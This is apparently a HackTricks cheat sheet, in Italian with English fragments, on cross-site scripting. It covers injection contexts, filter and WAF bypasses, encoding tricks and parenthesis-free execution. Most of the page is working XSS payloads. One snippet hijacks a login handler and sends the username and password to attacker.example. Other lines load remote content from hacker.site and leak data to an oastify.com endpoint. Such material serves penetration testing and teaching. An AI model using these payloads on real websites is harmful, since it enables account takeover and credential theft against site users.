XSS (Cross Site Scripting)

Reading time: 56 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Metodologia

  1. Verifica se qualsiasi valore che controlli (parameters, path, headers?, cookies?) viene riflesso nell'HTML o usato dal codice JS.
  2. Trova il contesto in cui viene riflesso/usato.
  3. Se riflesso
  4. Controlla quali simboli puoi usare e in base a questo prepara il payload:
  5. In HTML grezzo:
  6. Puoi creare nuovi tag HTML?
  7. Puoi usare eventi o attributi che supportano il protocollo javascript:?
  8. Riesci a bypassare le protezioni?
  9. Il contenuto HTML viene interpretato da qualche engine JS client side (AngularJS, VueJS, Mavo...), potresti abusare di una Client Side Template Injection.
  10. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di una Dangling Markup - HTML scriptless injection?
  11. All'interno di un tag HTML:
  12. Puoi uscire al contesto HTML grezzo?
  13. Puoi creare nuovi eventi/attributi per eseguire codice JS?
  14. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
  15. Riesci a bypassare le protezioni?
  16. All'interno di codice JavaScript:
  17. Puoi uscire dal tag <script>?
  18. Puoi uscire dalla stringa ed eseguire diverso codice JS?
  19. Il tuo input è in template literals ``?
  20. Riesci a bypassare le protezioni?
  21. Funzione Javascript che viene eseguita
  22. Puoi indicare il nome della funzione da eseguire. es.: ?callback=alert(1)
  23. Se usato:
  24. Potresti sfruttare una DOM XSS, fai attenzione a come il tuo input è controllato e se il tuo input controllato è usato da qualche sink.

Quando lavori su una XSS complessa potrebbe interessarti consultare:

Debugging Client Side JS

Valori riflessi

Per sfruttare con successo una XSS la prima cosa da trovare è un valore controllato da te che viene riflesso nella pagina web.

  • Intermediately reflected: Se trovi che il valore di un parameter o anche del path viene riflesso nella pagina web potresti sfruttare una Reflected XSS.
  • Stored and reflected: Se trovi che un valore controllato da te viene salvato sul server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare una Stored XSS.
  • Accessed via JS: Se trovi che un valore controllato da te viene utilizzato tramite JS potresti sfruttare una DOM XSS.

Contesti

Quando cerchi di sfruttare una XSS la prima cosa da sapere è dove il tuo input viene riflesso. A seconda del contesto potrai eseguire codice JS arbitrario in modi diversi.

HTML grezzo

Se il tuo input è riflesso nell'HTML grezzo dovrai abusare di qualche tag HTML per eseguire codice JS: <img , <iframe , <svg , <script ... questi sono solo alcuni dei molti tag HTML possibili che potresti usare.
Inoltre, tieni a mente Client Side Template Injection.

All'interno degli attributi di un tag HTML

Se il tuo input è riflesso all'interno del valore di un attributo di un tag potresti provare:

  1. A uscire dall'attributo e dal tag (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: "><img [...]
  2. Se puoi uscire dall'attributo ma non dal tag (> è codificato o cancellato), a seconda del tag potresti creare un evento che esegue codice JS: " autofocus onfocus=alert(1) x="
  3. Se non puoi uscire dall'attributo (" viene codificato o cancellato), allora a seconda di quale attributo il tuo valore è riflesso se controlli tutto il valore o solo una parte sarai in grado di abusarne. Ad esempio, se controlli un evento come onclick= potrai fargli eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"
  4. Se il tuo input è riflesso dentro "tag non sfruttabili" potresti provare il trucco del accesskey per abusare della vuln (avrai bisogno di qualche tipo di social engineering per sfruttarlo): " accesskey="x" onclick="alert(1)" x="

Esempio strano di Angular che esegue XSS se controlli un nome di classe:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

All'interno del codice JavaScript

In questo caso il tuo input viene riflesso tra i tag <script> [...] </script> di una pagina HTML, all'interno di un file .js o dentro un attributo che usa il protocollo javascript::

  • Se riflesso tra <script> [...] </script> tags, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare </script> e uscire da questo contesto. Questo funziona perché il browser prima analizzerà i tag HTML e poi il contenuto, quindi non noterà che il tag </script> iniettato è all'interno del codice HTML.
  • Se riflesso all'interno di una stringa JS e l'ultimo trucco non funziona dovrai uscire dalla stringa, eseguire il tuo codice e ricostruire il codice JS (se c'è qualche errore, non verrà eseguito:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Se riflesso all'interno di template literals puoi inserire espressioni JS usando la sintassi ${ ... }: var greetings = `Hello, ${alert(1)}`
  • La codifica Unicode funziona per scrivere codice javascript valido:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting si riferisce all'opportunità di dichiarare funzioni, variabili o classi dopo che sono state usate così da poter sfruttare scenari in cui una XSS usa variabili o funzioni non dichiarate.
Check the following page for more info:

JS Hoisting

Javascript Function

Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.

Un buon modo per capire se qualcosa fornito direttamente dall'utente viene eseguito è modificare il valore del parametro (per esempio in 'Vulnerable') e guardare nella console errori come:

Se è vulnerabile, potresti essere in grado di far scattare un alert semplicemente inviando il valore: ?callback=alert(1). Tuttavia, è molto comune che questi endpoint validino il contenuto per consentire solo lettere, numeri, punti e underscore ([\w\._]).

Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per accedere a qualsiasi elemento del DOM:

Alcune funzioni utili per questo:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Puoi anche provare a eseguire direttamente funzioni Javascript: obj.sales.delOrders.

Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint con un DOM poco interessante, altre pagine nella stessa origine avranno un DOM più interessante per eseguire più azioni.

Perciò, per abusare di questa vulnerabilità in un DOM diverso è stato sviluppato lo sfruttamento Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Esiste codice JS che sta usando in modo non sicuro alcuni dati controllati da un attaccante come location.href. Un attaccante potrebbe abusarne per eseguire codice JS arbitrario.

DOM XSS

Universal XSS

Questo tipo di XSS può essere trovato ovunque. Non dipendono solo dallo sfruttamento lato client di un'applicazione web ma da qualsiasi contesto. Questo tipo di esecuzione arbitraria di JavaScript può persino essere abusata per ottenere RCE, leggere file arbitrari su client e server, e altro.
Alcuni esempi:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Iniettare all'interno dell'HTML grezzo

Quando il tuo input viene riflesso all'interno della pagina HTML o puoi scappare e iniettare codice HTML in questo contesto la prima cosa che devi fare è verificare se puoi abusare del carattere < per creare nuovi tag: prova semplicemente a riflettere quel carattere e controlla se viene HTML encoded o cancellato oppure se viene riflesso senza modifiche. Solo nell'ultimo caso potrai sfruttare questa situazione.
Per questi casi tieni anche presente Client Side Template Injection.
Nota: A HTML comment can be closed using****-->****or **--!>**

In questo caso e se non viene usato alcun black/whitelisting, potresti usare payloads come:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Ma, se viene utilizzato il black/whitelisting di tags/attributes, dovrai eseguire un brute-force which tags per capire quali tag puoi creare.
Una volta che hai located which tags are allowed, dovrai eseguire un brute-force attributes/events all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.

Tags/Events brute-force

Vai su https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clicca su Copy tags to clipboard. Poi inviali tutti usando Burp intruder e verifica se qualche tag non è stato rilevato come malevolo dal WAF. Una volta scoperto quali tag puoi usare, puoi brute force all the events usando i tag validi (nella stessa pagina clicca su Copy events to clipboard e segui la stessa procedura di prima).

Custom tags

Se non hai trovato nessun tag HTML valido, puoi provare a create a custom tag e ad eseguire codice JS con l'attributo onfocus. Nella richiesta XSS, devi terminare l'URL con # per far sì che la pagina faccia focus on that object e execute il codice:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Se viene usata qualche blacklist puoi provare a bypassarla con qualche trucco stupido:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Bypass della lunghezza (small XSSs)

[!NOTE] > Altri payload tiny XSS per diversi ambienti possono essere trovati qui e qui.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

L'ultimo sta usando 2 caratteri Unicode che si espandono in 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

Se, per sfruttare la vulnerabilità, hai bisogno che l'utente clicchi un link o un form con dati precompilati, puoi provare a abuse Clickjacking (se la pagina è vulnerabile).

Impossible - Dangling Markup

Se pensi semplicemente che sia impossibile creare un tag HTML con un attributo per eseguire codice JS, dovresti controllare Danglig Markup because potresti exploit la vulnerabilità senza eseguire JS code.

Injecting inside HTML tag

Inside the tag/escaping from attribute value

Se ti trovi all'interno di un tag HTML, la prima cosa che puoi provare è uscire dal tag e usare alcune delle tecniche menzionate nella previous section per eseguire codice JS.
Se non puoi uscire dal tag, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, per esempio usando un payload come (nota che in questo esempio le virgolette doppie sono usate per fare escape dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente dentro il tag):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventi di stile

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

All'interno dell'attributo

Anche se non puoi uscire dall'attributo (" viene codificato o eliminato), a seconda di in quale attributo il tuo valore viene riflesso se controlli tutto il valore o solo una parte potrai abusarne. Per esempio, se controlli un event come onclick= potrai far eseguire codice arbitrario quando viene cliccato.\
Un altro interessante esempio è l'attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"

Bypass all'interno dell'evento usando codifica HTML/URL

I caratteri HTML codificati all'interno del valore degli attributi dei tag HTML vengono decodificati in fase di esecuzione. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Nota che qualsiasi tipo di codifica HTML è valida:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Nota che URL encode funzionerà anche:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass all'interno di event usando Unicode encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocolli speciali all'interno dell'attributo

Lì puoi usare i protocolli javascript: o data: in alcuni contesti per eseguire codice JS arbitrario. Alcuni richiederanno l'interazione dell'utente, altri no.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Luoghi dove puoi iniettare questi protocolli

In generale il protocollo javascript: può essere usato in qualsiasi tag che accetta l'attributo href e nella maggior parte dei tag che accettano l'attributo src (ma non <img>)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Altri trucchi di offuscamento

In questo caso la codifica HTML e la codifica Unicode della sezione precedente sono valide anche perché ti trovi all'interno di un attributo.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Inoltre, c'è un altro bel trucco per questi casi: Anche se il tuo input dentro javascript:... viene URL encoded, sarà URL decoded prima di essere eseguito. Quindi, se devi escape dalla string usando un single quote e noti che viene URL encoded, ricorda che non importa, sarà interpretato come un single quote durante il tempo di esecuzione.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Nota che se provi a usare entrambi URLencode + HTMLencode in qualsiasi ordine per codificare il payload non funzionerà, ma puoi mescolarli all'interno del payload.

Usando Hex e Octal encode con javascript:

Puoi usare Hex e Octal encode all'interno dell'attributo src di iframe (almeno) per dichiarare HTML tags to execute JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Se puoi inserire qualsiasi URL in un arbitrario <a href= tag che contiene gli attributi target="_blank" and rel="opener", consulta la pagina seguente per sfruttare questo comportamento:

Reverse Tab Nabbing

Bypass degli 'on' Event Handlers

Prima di tutto controlla questa pagina (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) per utili "on" event handlers.
Se esiste una blacklist che ti impedisce di creare questi event handlers, puoi provare i seguenti bypass:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Da qui ora è possibile abusare degli hidden inputs con:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

E nei meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Da here: Puoi eseguire un XSS payload inside a hidden attribute, a condizione che tu riesca a convincere la vittima a premere la combinazione di tasti. Su Firefox Windows/Linux la combinazione di tasti è ALT+SHIFT+X e su OS X è CTRL+ALT+X. Puoi specificare una combinazione di tasti diversa usando un tasto diverso nell'access key attribute. Ecco il vettore:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

Il XSS payload sarà qualcosa del tipo: " accesskey="x" onclick="alert(1)" x="

Bypass della blacklist

Alcuni trucchi che utilizzano differenti encoding sono già stati esposti all'interno di questa sezione. Torna indietro per imparare dove puoi usare:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypass per tag e attributi HTML

Leggi la sezione Bypass della blacklist precedente.

Bypass per codice JavaScript

Leggi la blacklist di bypass per JavaScript della sezione seguente.

CSS-Gadgets

Se trovi una XSS in una porzione molto piccola del sito che richiede qualche tipo di interazione (ad esempio un piccolo link nel footer con un elemento onmouseover), puoi provare a modificare lo spazio occupato dall'elemento per massimizzare le probabilità che il link venga attivato.

Ad esempio, puoi aggiungere dello styling all'elemento come: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ma, se il WAF filtra l'attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, ad esempio

.test {display:block; color: blue; width: 100%}

e

#someid {top: 0; font-family: Tahoma;}

Ora puoi modificare il nostro link e portarlo nella forma

<a href="" id=someid class=test onclick=alert() a="">

Questo trucco è tratto da https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Iniezione nel codice JavaScript

In questi casi il tuo input verrà riflesso nel codice JS di un file .js o tra tag <script>...</script> o all'interno di eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo javascript:.

Escape del tag <script>

Se il tuo codice è inserito all'interno di <script> [...] var input = 'reflected data' [...] </script> puoi facilmente chiudere il tag <script>:

javascript
</script><img src=1 onerror=alert(document.domain)>

Nota che in questo esempio non abbiamo nemmeno chiuso l'apice singolo. Questo perché l'HTML viene prima analizzato dal browser, il quale identifica gli elementi della pagina, inclusi i blocchi di script. L'analisi del JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.

All'interno del codice JS

Se <> vengono sanitizzati puoi comunque applicare l'escape alla stringa nel punto in cui il tuo input è posizionato ed eseguire JS arbitrario. È importante correggere la sintassi JS, perché se ci sono errori il codice JS non verrà eseguito:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Quando l'input dell'utente finisce dentro una stringa JavaScript tra virgolette (es., server-side echo in uno script inline), puoi terminare la stringa, inject code e repair the syntax per mantenere il parsing valido. Scheletro generico:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Esempio di URL pattern quando il parametro vulnerabile viene riflesso in una stringa JS:

?param=test";<INJECTION>;a="

Questo esegue JS dell'attaccante senza bisogno di toccare il contesto HTML (puro JS-in-JS). Combinalo con i bypass della blacklist qui sotto quando i filtri bloccano parole chiave.

Template literals ``

In order to construct strings apart from single and double quotes JS also accepts backticks `` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax.
Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax ${ ... } to execute arbitrary JS code:

This can be abused using:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Esecuzione di codice codificato

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads con eval(atob()) e sfumature di scope

Per mantenere gli URL più corti e bypassare filtri di keyword naïve, puoi codificare in base64 la tua logica reale e valutarla con eval(atob('...')). Se un filtraggio di keyword semplice blocca identificatori come alert, eval o atob, usa identificatori Unicode-escaped che vengono compilati allo stesso modo nel browser ma eludono i filtri basati sul confronto di stringhe:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Importante dettaglio sull'ambito: const/let dichiarati all'interno di eval() hanno ambito di blocco e NON creano variabili globali; non saranno accessibili agli script successivi. Usa un elemento <script> iniettato dinamicamente per definire hook globali non riassegnabili quando necessario (es., per hijackare un form handler):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Riferimento: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Codifica Unicode per esecuzione JS

javascript
alert(1)
alert(1)
alert(1)

Tecniche di bypass delle blacklists in JavaScript

Stringhe

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Escape speciali

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Sostituzioni degli spazi all'interno del codice JS

javascript
<TAB>
/**/

JavaScript comments (da JavaScript Comments trick)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nuove righe (dal trucco JavaScript new line )

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript spazi bianchi

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript all'interno di un commento

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript senza parentesi

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Chiamata arbitraria a una funzione (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
